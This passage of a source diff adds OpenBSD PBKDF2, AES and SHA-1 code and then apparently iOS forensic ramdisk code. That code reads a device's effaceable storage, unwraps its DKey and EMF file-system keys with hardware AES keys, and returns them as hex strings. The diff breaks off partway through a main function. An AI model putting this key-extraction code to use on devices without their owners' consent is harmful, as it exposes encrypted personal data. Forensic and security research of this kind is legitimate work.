* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <sys/param.h>
|
||||
|
||||
#include <string.h>
|
||||
#include <limits.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "sha1.h"
|
||||
|
||||
#include "pbkdf2.h"
|
||||
|
||||
/* #define PBKDF2_MAIN */
|
||||
|
||||
/*
|
||||
* HMAC-SHA-1 (from RFC 2202).
|
||||
*/
|
||||
static void
|
||||
hmac_sha1(const u_int8_t *text, size_t text_len, const u_int8_t *key,
|
||||
size_t key_len, u_int8_t digest[SHA1_DIGEST_LENGTH])
|
||||
{
|
||||
SHA1_CTX ctx;
|
||||
u_int8_t k_pad[SHA1_BLOCK_LENGTH];
|
||||
u_int8_t tk[SHA1_DIGEST_LENGTH];
|
||||
int i;
|
||||
|
||||
if (key_len > SHA1_BLOCK_LENGTH) {
|
||||
SHA1Init(&ctx);
|
||||
SHA1Update(&ctx, key, key_len);
|
||||
SHA1Final(tk, &ctx);
|
||||
|
||||
key = tk;
|
||||
key_len = SHA1_DIGEST_LENGTH;
|
||||
}
|
||||
|
||||
bzero(k_pad, sizeof k_pad);
|
||||
bcopy(key, k_pad, key_len);
|
||||
for (i = 0; i < SHA1_BLOCK_LENGTH; i++)
|
||||
k_pad[i] ^= 0x36;
|
||||
|
||||
SHA1Init(&ctx);
|
||||
SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH);
|
||||
SHA1Update(&ctx, text, text_len);
|
||||
SHA1Final(digest, &ctx);
|
||||
|
||||
bzero(k_pad, sizeof k_pad);
|
||||
bcopy(key, k_pad, key_len);
|
||||
for (i = 0; i < SHA1_BLOCK_LENGTH; i++)
|
||||
k_pad[i] ^= 0x5c;
|
||||
|
||||
SHA1Init(&ctx);
|
||||
SHA1Update(&ctx, k_pad, SHA1_BLOCK_LENGTH);
|
||||
SHA1Update(&ctx, digest, SHA1_DIGEST_LENGTH);
|
||||
SHA1Final(digest, &ctx);
|
||||
}
|
||||
|
||||
/*
|
||||
* Password-Based Key Derivation Function 2 (PKCS #5 v2.0).
|
||||
* Code based on IEEE Std 802.11-2007, Annex H.4.2.
|
||||
*/
|
||||
int
|
||||
pkcs5_pbkdf2(const char *pass, size_t pass_len, const char *salt, size_t salt_len,
|
||||
u_int8_t *key, size_t key_len, u_int rounds)
|
||||
{
|
||||
u_int8_t *asalt, obuf[SHA1_DIGEST_LENGTH];
|
||||
u_int8_t d1[SHA1_DIGEST_LENGTH], d2[SHA1_DIGEST_LENGTH];
|
||||
u_int i, j;
|
||||
u_int count;
|
||||
size_t r;
|
||||
|
||||
if (rounds < 1 || key_len == 0)
|
||||
return -1;
|
||||
if (salt_len == 0 || salt_len > SIZE_MAX - 1)
|
||||
return -1;
|
||||
if ((asalt = malloc(salt_len + 4)) == NULL)
|
||||
return -1;
|
||||
|
||||
memcpy(asalt, salt, salt_len);
|
||||
|
||||
for (count = 1; key_len > 0; count++) {
|
||||
asalt[salt_len + 0] = (count >> 24) & 0xff;
|
||||
asalt[salt_len + 1] = (count >> 16) & 0xff;
|
||||
asalt[salt_len + 2] = (count >> 8) & 0xff;
|
||||
asalt[salt_len + 3] = count & 0xff;
|
||||
hmac_sha1(asalt, salt_len + 4, pass, pass_len, d1);
|
||||
memcpy(obuf, d1, sizeof(obuf));
|
||||
|
||||
for (i = 1; i < rounds; i++) {
|
||||
hmac_sha1(d1, sizeof(d1), pass, pass_len, d2);
|
||||
memcpy(d1, d2, sizeof(d1));
|
||||
for (j = 0; j < sizeof(obuf); j++)
|
||||
obuf[j] ^= d1[j];
|
||||
}
|
||||
|
||||
r = MIN(key_len, SHA1_DIGEST_LENGTH);
|
||||
memcpy(key, obuf, r);
|
||||
key += r;
|
||||
key_len -= r;
|
||||
};
|
||||
bzero(asalt, salt_len + 4);
|
||||
free(asalt);
|
||||
bzero(d1, sizeof(d1));
|
||||
bzero(d2, sizeof(d2));
|
||||
bzero(obuf, sizeof(obuf));
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef PBKDF2_MAIN
|
||||
struct test_vector {
|
||||
u_int rounds;
|
||||
const char *pass;
|
||||
const char *salt;
|
||||
const char expected[32];
|
||||
};
|
||||
|
||||
/*
|
||||
* Test vectors from RFC 3962
|
||||
*/
|
||||
struct test_vector test_vectors[] = {
|
||||
{
|
||||
1,
|
||||
"password",
|
||||
"ATHENA.MIT.EDUraeburn",
|
||||
{
|
||||
0xcd, 0xed, 0xb5, 0x28, 0x1b, 0xb2, 0xf8, 0x01,
|
||||
0x56, 0x5a, 0x11, 0x22, 0xb2, 0x56, 0x35, 0x15,
|
||||
0x0a, 0xd1, 0xf7, 0xa0, 0x4b, 0xb9, 0xf3, 0xa3,
|
||||
0x33, 0xec, 0xc0, 0xe2, 0xe1, 0xf7, 0x08, 0x37
|
||||
},
|
||||
}, {
|
||||
2,
|
||||
"password",
|
||||
"ATHENA.MIT.EDUraeburn",
|
||||
{
|
||||
0x01, 0xdb, 0xee, 0x7f, 0x4a, 0x9e, 0x24, 0x3e,
|
||||
0x98, 0x8b, 0x62, 0xc7, 0x3c, 0xda, 0x93, 0x5d,
|
||||
0xa0, 0x53, 0x78, 0xb9, 0x32, 0x44, 0xec, 0x8f,
|
||||
0x48, 0xa9, 0x9e, 0x61, 0xad, 0x79, 0x9d, 0x86
|
||||
},
|
||||
}, {
|
||||
1200,
|
||||
"password",
|
||||
"ATHENA.MIT.EDUraeburn",
|
||||
{
|
||||
0x5c, 0x08, 0xeb, 0x61, 0xfd, 0xf7, 0x1e, 0x4e,
|
||||
0x4e, 0xc3, 0xcf, 0x6b, 0xa1, 0xf5, 0x51, 0x2b,
|
||||
0xa7, 0xe5, 0x2d, 0xdb, 0xc5, 0xe5, 0x14, 0x2f,
|
||||
0x70, 0x8a, 0x31, 0xe2, 0xe6, 0x2b, 0x1e, 0x13
|
||||
},
|
||||
}, {
|
||||
5,
|
||||
"password",
|
||||
"\0224VxxV4\022", /* 0x1234567878563412 */
|
||||
{
|
||||
0xd1, 0xda, 0xa7, 0x86, 0x15, 0xf2, 0x87, 0xe6,
|
||||
0xa1, 0xc8, 0xb1, 0x20, 0xd7, 0x06, 0x2a, 0x49,
|
||||
0x3f, 0x98, 0xd2, 0x03, 0xe6, 0xbe, 0x49, 0xa6,
|
||||
0xad, 0xf4, 0xfa, 0x57, 0x4b, 0x6e, 0x64, 0xee
|
||||
},
|
||||
}, {
|
||||
1200,
|
||||
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
|
||||
"pass phrase equals block size",
|
||||
{
|
||||
0x13, 0x9c, 0x30, 0xc0, 0x96, 0x6b, 0xc3, 0x2b,
|
||||
0xa5, 0x5f, 0xdb, 0xf2, 0x12, 0x53, 0x0a, 0xc9,
|
||||
0xc5, 0xec, 0x59, 0xf1, 0xa4, 0x52, 0xf5, 0xcc,
|
||||
0x9a, 0xd9, 0x40, 0xfe, 0xa0, 0x59, 0x8e, 0xd1
|
||||
},
|
||||
}, {
|
||||
1200,
|
||||
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
|
||||
"pass phrase exceeds block size",
|
||||
{
|
||||
0x9c, 0xca, 0xd6, 0xd4, 0x68, 0x77, 0x0c, 0xd5,
|
||||
0x1b, 0x10, 0xe6, 0xa6, 0x87, 0x21, 0xbe, 0x61,
|
||||
0x1a, 0x8b, 0x4d, 0x28, 0x26, 0x01, 0xdb, 0x3b,
|
||||
0x36, 0xbe, 0x92, 0x46, 0x91, 0x5e, 0xc8, 0x2a
|
||||
},
|
||||
}, {
|
||||
50,
|
||||
"\360\235\204\236", /* g-clef (0xf09d849e) */
|
||||
"EXAMPLE.COMpianist",
|
||||
{
|
||||
0x6b, 0x9c, 0xf2, 0x6d, 0x45, 0x45, 0x5a, 0x43,
|
||||
0xa5, 0xb8, 0xbb, 0x27, 0x6a, 0x40, 0x3b, 0x39,
|
||||
0xe7, 0xfe, 0x37, 0xa0, 0xc4, 0x1e, 0x02, 0xc2,
|
||||
0x81, 0xff, 0x30, 0x69, 0xe1, 0xe9, 0x4f, 0x52
|
||||
},
|
||||
}
|
||||
};
|
||||
#define NVECS (sizeof(test_vectors) / sizeof(*test_vectors))
|
||||
|
||||
#include <stdio.h>
|
||||
#include <err.h>
|
||||
|
||||
static void
|
||||
printhex(const char *s, const u_int8_t *buf, size_t len)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
printf("%s: ", s);
|
||||
for (i = 0; i < len; i++)
|
||||
printf("%02x", buf[i]);
|
||||
printf("\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
u_int i, j;
|
||||
u_char result[32];
|
||||
struct test_vector *vec;
|
||||
|
||||
for (i = 0; i < NVECS; i++) {
|
||||
vec = &test_vectors[i];
|
||||
printf("vector %u\n", i);
|
||||
for (j = 1; j < sizeof(result); j += 3) {
|
||||
if (pkcs5_pbkdf2(vec->pass, strlen(vec->pass),
|
||||
vec->salt, strlen(vec->salt),
|
||||
result, j, vec->rounds) != 0)
|
||||
errx(1, "pbkdf2 failed");
|
||||
if (memcmp(result, vec->expected, j) != 0) {
|
||||
printhex(" got", result, j);
|
||||
printhex("want", vec->expected, j);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
#endif /* PBKDF2_MAIN */
|
||||
@@ -0,0 +1,24 @@
|
||||
/* $OpenBSD: pbkdf2.h,v 1.1 2008/06/14 06:28:27 djm Exp $ */
|
||||
|
||||
/*-
|
||||
* Copyright (c) 2008 Damien Bergamini <damien.bergamini@free.fr>
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Password-Based Key Derivation Function 2 (PKCS #5 v2.0).
|
||||
* Code based on IEEE Std 802.11-2007, Annex H.4.2.
|
||||
*/
|
||||
int pkcs5_pbkdf2(const char *, size_t, const char *, size_t,
|
||||
u_int8_t *, size_t, u_int);
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,59 @@
|
||||
/* $OpenBSD: rijndael.h,v 1.13 2008/06/09 07:49:45 djm Exp $ */
|
||||
|
||||
/**
|
||||
* rijndael-alg-fst.h
|
||||
*
|
||||
* @version 3.0 (December 2000)
|
||||
*
|
||||
* Optimised ANSI C code for the Rijndael cipher (now AES)
|
||||
*
|
||||
* @author Vincent Rijmen <vincent.rijmen@esat.kuleuven.ac.be>
|
||||
* @author Antoon Bosselaers <antoon.bosselaers@esat.kuleuven.ac.be>
|
||||
* @author Paulo Barreto <paulo.barreto@terra.com.br>
|
||||
*
|
||||
* This code is hereby placed in the public domain.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
|
||||
* BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
|
||||
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
|
||||
* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
#ifndef __RIJNDAEL_H
|
||||
#define __RIJNDAEL_H
|
||||
|
||||
#define AES_MAXKEYBITS (256)
|
||||
#define AES_MAXKEYBYTES (AES_MAXKEYBITS/8)
|
||||
/* for 256-bit keys, fewer for less */
|
||||
#define AES_MAXROUNDS 14
|
||||
|
||||
typedef unsigned char u_char;
|
||||
typedef unsigned char u8;
|
||||
typedef unsigned short u16;
|
||||
typedef unsigned int u32;
|
||||
|
||||
/* The structure for key information */
|
||||
typedef struct {
|
||||
int enc_only; /* context contains only encrypt schedule */
|
||||
int Nr; /* key-length-dependent number of rounds */
|
||||
u32 ek[4*(AES_MAXROUNDS + 1)]; /* encrypt key schedule */
|
||||
u32 dk[4*(AES_MAXROUNDS + 1)]; /* decrypt key schedule */
|
||||
} rijndael_ctx;
|
||||
|
||||
int rijndael_set_key(rijndael_ctx *, const u_char *, int);
|
||||
int rijndael_set_key_enc_only(rijndael_ctx *, const u_char *, int);
|
||||
void rijndael_decrypt(rijndael_ctx *, const u_char *, u_char *);
|
||||
void rijndael_encrypt(rijndael_ctx *, const u_char *, u_char *);
|
||||
|
||||
int rijndaelKeySetupEnc(unsigned int [], const unsigned char [], int);
|
||||
int rijndaelKeySetupDec(unsigned int [], const unsigned char [], int);
|
||||
void rijndaelEncrypt(const unsigned int [], int, const unsigned char [],
|
||||
unsigned char []);
|
||||
|
||||
#endif /* __RIJNDAEL_H */
|
||||
@@ -0,0 +1,178 @@
|
||||
/* $OpenBSD: sha1.c,v 1.9 2011/01/11 15:50:40 deraadt Exp $ */
|
||||
|
||||
/*
|
||||
* SHA-1 in C
|
||||
* By Steve Reid <steve@edmweb.com>
|
||||
* 100% Public Domain
|
||||
*
|
||||
* Test Vectors (from FIPS PUB 180-1)
|
||||
* "abc"
|
||||
* A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D
|
||||
* "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
|
||||
* 84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1
|
||||
* A million repetitions of "a"
|
||||
* 34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F
|
||||
*/
|
||||
|
||||
/* #define LITTLE_ENDIAN * This should be #define'd already, if true. */
|
||||
/* #define SHA1HANDSOFF * Copies data before messing with it. */
|
||||
|
||||
#define SHA1HANDSOFF
|
||||
|
||||
#include <sys/param.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "sha1.h"
|
||||
|
||||
#define rol(value, bits) (((value) << (bits)) | ((value) >> (32 - (bits))))
|
||||
|
||||
/* blk0() and blk() perform the initial expand. */
|
||||
/* I got the idea of expanding during the round function from SSLeay */
|
||||
#if BYTE_ORDER == LITTLE_ENDIAN
|
||||
#define blk0(i) (block->l[i] = (rol(block->l[i],24)&0xFF00FF00) \
|
||||
|(rol(block->l[i],8)&0x00FF00FF))
|
||||
#else
|
||||
#define blk0(i) block->l[i]
|
||||
#endif
|
||||
#define blk(i) (block->l[i&15] = rol(block->l[(i+13)&15]^block->l[(i+8)&15] \
|
||||
^block->l[(i+2)&15]^block->l[i&15],1))
|
||||
|
||||
/* (R0+R1), R2, R3, R4 are the different operations used in SHA1 */
|
||||
#define R0(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk0(i)+0x5A827999+rol(v,5);w=rol(w,30);
|
||||
#define R1(v,w,x,y,z,i) z+=((w&(x^y))^y)+blk(i)+0x5A827999+rol(v,5);w=rol(w,30);
|
||||
#define R2(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0x6ED9EBA1+rol(v,5);w=rol(w,30);
|
||||
#define R3(v,w,x,y,z,i) z+=(((w|x)&y)|(w&x))+blk(i)+0x8F1BBCDC+rol(v,5);w=rol(w,30);
|
||||
#define R4(v,w,x,y,z,i) z+=(w^x^y)+blk(i)+0xCA62C1D6+rol(v,5);w=rol(w,30);
|
||||
|
||||
/* Hash a single 512-bit block. This is the core of the algorithm. */
|
||||
|
||||
void
|
||||
SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH])
|
||||
{
|
||||
u_int32_t a, b, c, d, e;
|
||||
typedef union {
|
||||
unsigned char c[64];
|
||||
unsigned int l[16];
|
||||
} CHAR64LONG16;
|
||||
CHAR64LONG16* block;
|
||||
#ifdef SHA1HANDSOFF
|
||||
unsigned char workspace[SHA1_BLOCK_LENGTH];
|
||||
|
||||
block = (CHAR64LONG16 *)workspace;
|
||||
bcopy(buffer, block, SHA1_BLOCK_LENGTH);
|
||||
#else
|
||||
block = (CHAR64LONG16 *)buffer;
|
||||
#endif
|
||||
/* Copy context->state[] to working vars */
|
||||
a = state[0];
|
||||
b = state[1];
|
||||
c = state[2];
|
||||
d = state[3];
|
||||
e = state[4];
|
||||
|
||||
/* 4 rounds of 20 operations each. Loop unrolled. */
|
||||
R0(a,b,c,d,e, 0); R0(e,a,b,c,d, 1); R0(d,e,a,b,c, 2); R0(c,d,e,a,b, 3);
|
||||
R0(b,c,d,e,a, 4); R0(a,b,c,d,e, 5); R0(e,a,b,c,d, 6); R0(d,e,a,b,c, 7);
|
||||
R0(c,d,e,a,b, 8); R0(b,c,d,e,a, 9); R0(a,b,c,d,e,10); R0(e,a,b,c,d,11);
|
||||
R0(d,e,a,b,c,12); R0(c,d,e,a,b,13); R0(b,c,d,e,a,14); R0(a,b,c,d,e,15);
|
||||
R1(e,a,b,c,d,16); R1(d,e,a,b,c,17); R1(c,d,e,a,b,18); R1(b,c,d,e,a,19);
|
||||
R2(a,b,c,d,e,20); R2(e,a,b,c,d,21); R2(d,e,a,b,c,22); R2(c,d,e,a,b,23);
|
||||
R2(b,c,d,e,a,24); R2(a,b,c,d,e,25); R2(e,a,b,c,d,26); R2(d,e,a,b,c,27);
|
||||
R2(c,d,e,a,b,28); R2(b,c,d,e,a,29); R2(a,b,c,d,e,30); R2(e,a,b,c,d,31);
|
||||
R2(d,e,a,b,c,32); R2(c,d,e,a,b,33); R2(b,c,d,e,a,34); R2(a,b,c,d,e,35);
|
||||
R2(e,a,b,c,d,36); R2(d,e,a,b,c,37); R2(c,d,e,a,b,38); R2(b,c,d,e,a,39);
|
||||
R3(a,b,c,d,e,40); R3(e,a,b,c,d,41); R3(d,e,a,b,c,42); R3(c,d,e,a,b,43);
|
||||
R3(b,c,d,e,a,44); R3(a,b,c,d,e,45); R3(e,a,b,c,d,46); R3(d,e,a,b,c,47);
|
||||
R3(c,d,e,a,b,48); R3(b,c,d,e,a,49); R3(a,b,c,d,e,50); R3(e,a,b,c,d,51);
|
||||
R3(d,e,a,b,c,52); R3(c,d,e,a,b,53); R3(b,c,d,e,a,54); R3(a,b,c,d,e,55);
|
||||
R3(e,a,b,c,d,56); R3(d,e,a,b,c,57); R3(c,d,e,a,b,58); R3(b,c,d,e,a,59);
|
||||
R4(a,b,c,d,e,60); R4(e,a,b,c,d,61); R4(d,e,a,b,c,62); R4(c,d,e,a,b,63);
|
||||
R4(b,c,d,e,a,64); R4(a,b,c,d,e,65); R4(e,a,b,c,d,66); R4(d,e,a,b,c,67);
|
||||
R4(c,d,e,a,b,68); R4(b,c,d,e,a,69); R4(a,b,c,d,e,70); R4(e,a,b,c,d,71);
|
||||
R4(d,e,a,b,c,72); R4(c,d,e,a,b,73); R4(b,c,d,e,a,74); R4(a,b,c,d,e,75);
|
||||
R4(e,a,b,c,d,76); R4(d,e,a,b,c,77); R4(c,d,e,a,b,78); R4(b,c,d,e,a,79);
|
||||
|
||||
/* Add the working vars back into context.state[] */
|
||||
state[0] += a;
|
||||
state[1] += b;
|
||||
state[2] += c;
|
||||
state[3] += d;
|
||||
state[4] += e;
|
||||
/* Wipe variables */
|
||||
a = b = c = d = e = 0;
|
||||
}
|
||||
|
||||
|
||||
/* SHA1Init - Initialize new context */
|
||||
|
||||
void
|
||||
SHA1Init(SHA1_CTX *context)
|
||||
{
|
||||
/* SHA1 initialization constants */
|
||||
context->count = 0;
|
||||
context->state[0] = 0x67452301;
|
||||
context->state[1] = 0xEFCDAB89;
|
||||
context->state[2] = 0x98BADCFE;
|
||||
context->state[3] = 0x10325476;
|
||||
context->state[4] = 0xC3D2E1F0;
|
||||
}
|
||||
|
||||
|
||||
/* Run your data through this. */
|
||||
|
||||
void
|
||||
SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len)
|
||||
{
|
||||
unsigned int i;
|
||||
unsigned int j;
|
||||
|
||||
j = (u_int32_t)((context->count >> 3) & 63);
|
||||
context->count += (len << 3);
|
||||
if ((j + len) > 63) {
|
||||
bcopy(data, &context->buffer[j], (i = 64 - j));
|
||||
SHA1Transform(context->state, context->buffer);
|
||||
for ( ; i + 63 < len; i += 64) {
|
||||
SHA1Transform(context->state, &data[i]);
|
||||
}
|
||||
j = 0;
|
||||
}
|
||||
else i = 0;
|
||||
bcopy(&data[i], &context->buffer[j], len - i);
|
||||
}
|
||||
|
||||
|
||||
/* Add padding and return the message digest. */
|
||||
|
||||
void
|
||||
SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context)
|
||||
{
|
||||
unsigned int i;
|
||||
unsigned char finalcount[8];
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
finalcount[i] = (unsigned char)((context->count >>
|
||||
((7 - (i & 7)) * 8)) & 255); /* Endian independent */
|
||||
}
|
||||
SHA1Update(context, (unsigned char *)"\200", 1);
|
||||
while ((context->count & 504) != 448) {
|
||||
SHA1Update(context, (unsigned char *)"\0", 1);
|
||||
}
|
||||
SHA1Update(context, finalcount, 8); /* Should cause a SHA1Transform() */
|
||||
|
||||
if (digest)
|
||||
for (i = 0; i < SHA1_DIGEST_LENGTH; i++) {
|
||||
digest[i] = (unsigned char)((context->state[i >> 2] >>
|
||||
((3 - (i & 3)) * 8)) & 255);
|
||||
}
|
||||
bzero(&finalcount, 8);
|
||||
#if 0 /* We want to use this for "keyfill" */
|
||||
/* Wipe variables */
|
||||
i = 0;
|
||||
bzero(context->buffer, 64);
|
||||
bzero(context->state, 20);
|
||||
bzero(context->count, 8);
|
||||
#ifdef SHA1HANDSOFF /* make SHA1Transform overwrite its own static vars */
|
||||
SHA1Transform(context->state, context->buffer);
|
||||
#endif
|
||||
#endif
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
/* $OpenBSD: sha1.h,v 1.5 2007/09/10 22:19:42 henric Exp $ */
|
||||
|
||||
/*
|
||||
* SHA-1 in C
|
||||
* By Steve Reid <steve@edmweb.com>
|
||||
* 100% Public Domain
|
||||
*/
|
||||
|
||||
#ifndef _SHA1_H_
|
||||
#define _SHA1_H_
|
||||
|
||||
#define SHA1_BLOCK_LENGTH 64
|
||||
#define SHA1_DIGEST_LENGTH 20
|
||||
|
||||
typedef struct {
|
||||
u_int32_t state[5];
|
||||
u_int64_t count;
|
||||
unsigned char buffer[SHA1_BLOCK_LENGTH];
|
||||
} SHA1_CTX;
|
||||
|
||||
void SHA1Init(SHA1_CTX * context);
|
||||
void SHA1Transform(u_int32_t state[5], const unsigned char buffer[SHA1_BLOCK_LENGTH]);
|
||||
void SHA1Update(SHA1_CTX *context, const unsigned char *data, unsigned int len);
|
||||
void SHA1Final(unsigned char digest[SHA1_DIGEST_LENGTH], SHA1_CTX *context);
|
||||
|
||||
#endif /* _SHA1_H_ */
|
||||
@@ -0,0 +1,91 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include "IOAESAccelerator.h"
|
||||
#include "AppleEffaceableStorage.h"
|
||||
#include "bsdcrypto/rijndael.h"
|
||||
#include "bsdcrypto/key_wrap.h"
|
||||
#include "device_info.h"
|
||||
#include "registry.h"
|
||||
#include "util.h"
|
||||
#include "ioflash/ioflash.h"
|
||||
|
||||
uint8_t lockers[960]={0};
|
||||
uint8_t lwvm[80]={0};
|
||||
|
||||
CFDictionaryRef device_info(int socket, CFDictionaryRef request)
|
||||
{
|
||||
uint8_t dkey[40]={0};
|
||||
uint8_t emf[36]={0};
|
||||
size_t bootargs_len = 255;
|
||||
char bootargs[256]={0};
|
||||
|
||||
struct HFSInfos hfsinfos={0};
|
||||
|
||||
CFMutableDictionaryRef out = CFDictionaryCreateMutable(kCFAllocatorDefault,
|
||||
0,
|
||||
&kCFTypeDictionaryKeyCallBacks,
|
||||
&kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
get_device_infos(out);
|
||||
|
||||
CFMutableDictionaryRef nand = FSDGetInfo(0);
|
||||
if (nand != NULL)
|
||||
CFDictionaryAddValue(out, CFSTR("nand"), nand);
|
||||
|
||||
getHFSInfos(&hfsinfos);
|
||||
|
||||
uint8_t* key835 = IOAES_key835();
|
||||
uint8_t* key89A = IOAES_key89A();
|
||||
uint8_t* key89B = IOAES_key89B();
|
||||
|
||||
if (!AppleEffaceableStorage__getBytes(lockers, 960))
|
||||
{
|
||||
CFDataRef lockersData = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, lockers, 960, kCFAllocatorNull);
|
||||
CFDictionaryAddValue(out, CFSTR("lockers"), lockersData);
|
||||
CFRelease(lockersData);
|
||||
|
||||
if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_DKEY, lockers, 960, dkey, 40))
|
||||
{
|
||||
aes_key_wrap_ctx ctx;
|
||||
|
||||
aes_key_wrap_set_key(&ctx, key835, 16);
|
||||
|
||||
if(aes_key_unwrap(&ctx, dkey, dkey, 32/8))
|
||||
printf("FAIL unwrapping DKey with key 0x835\n");
|
||||
}
|
||||
if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_EMF, lockers, 960, emf, 36))
|
||||
{
|
||||
doAES(&emf[4], &emf[4], 32, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128);
|
||||
}
|
||||
else if (!AppleEffaceableStorage__getLockerFromBytes(LOCKER_LWVM, lockers, 960, lwvm, 0x50))
|
||||
{
|
||||
doAES(lwvm, lwvm, 0x50, kIOAESAcceleratorCustomMask, key89B, NULL, kIOAESAcceleratorDecrypt, 128);
|
||||
memcpy(&emf[4], &lwvm[32+16], 32);
|
||||
}
|
||||
}
|
||||
|
||||
CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &hfsinfos.dataVolumeOffset);
|
||||
CFDictionaryAddValue(out, CFSTR("dataVolumeOffset"), n);
|
||||
CFRelease(n);
|
||||
addHexaString(out, CFSTR("dataVolumeUUID"), (uint8_t*) &hfsinfos.volumeUUID, 8);
|
||||
addHexaString(out, CFSTR("key835"), key835, 16);
|
||||
addHexaString(out, CFSTR("key89A"), key89A, 16);
|
||||
addHexaString(out, CFSTR("key89B"), key89B, 16);
|
||||
addHexaString(out, CFSTR("EMF"), &emf[4], 32);
|
||||
addHexaString(out, CFSTR("DKey"), dkey, 32);
|
||||
|
||||
sysctlbyname("kern.bootargs", bootargs, &bootargs_len, NULL, 0);
|
||||
if (bootargs_len > 1)
|
||||
{
|
||||
CFStringRef bootargsString = CFStringCreateWithBytes(kCFAllocatorDefault, bootargs, bootargs_len - 1, kCFStringEncodingASCII, 0);
|
||||
CFDictionaryAddValue(out, CFSTR("kern.bootargs"), bootargsString);
|
||||
CFRelease(bootargsString);
|
||||
}
|
||||
|
||||
CFDictionaryAddValue(out, CFSTR("ramdisk revision"), CFSTR(HGVERSION));
|
||||
CFDictionaryAddValue(out, CFSTR("ramdisk compile time"), CFSTR(__DATE__ " " __TIME__ ));
|
||||
|
||||
return out;
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef HGVERSION
|
||||
#define HGVERSION "unknown"
|
||||
#endif
|
||||
|
||||
CFDictionaryRef device_info(int socket, CFDictionaryRef request);
|
||||
@@ -0,0 +1,44 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include "device_info.h"
|
||||
#include "util.h"
|
||||
|
||||
int main(int argc, char* argv[])
|
||||
{
|
||||
